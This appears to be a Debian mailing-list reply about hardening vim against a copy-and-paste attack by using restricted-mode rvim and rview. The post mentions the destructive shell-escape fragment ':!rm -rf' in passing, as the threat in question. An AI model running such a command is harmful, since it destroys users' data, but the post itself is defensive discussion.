Although this attack vector does not match my copy+paste habits, i shall
think about replacing my use of vim by rvim. man vim says:

  rvim rview rgvim rgview
     Like the above, but with restrictions.  It will not be possi-
     ble to start shell commands, or suspend  Vim.   Can  also  be
     done with the "-Z" argument.

"suspend Vim" ? ... google ... holy moly.
Ctrl+z brings me out of vim to bash, and a bash builtin named "fg" brings
me back in.
(Now i need to re-read man bash about "jobspec". My stack runneth over.)

Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view"
by "rview" ? (So that this PEBKAC cannot fall back to old habits ?)

I think these two lean a little too much towards the ":!rm -rf" side.

If i had a clue about where to start learning and if my stack was not
overflowing, this could be an interesting endeavor.


Have a nice day :)
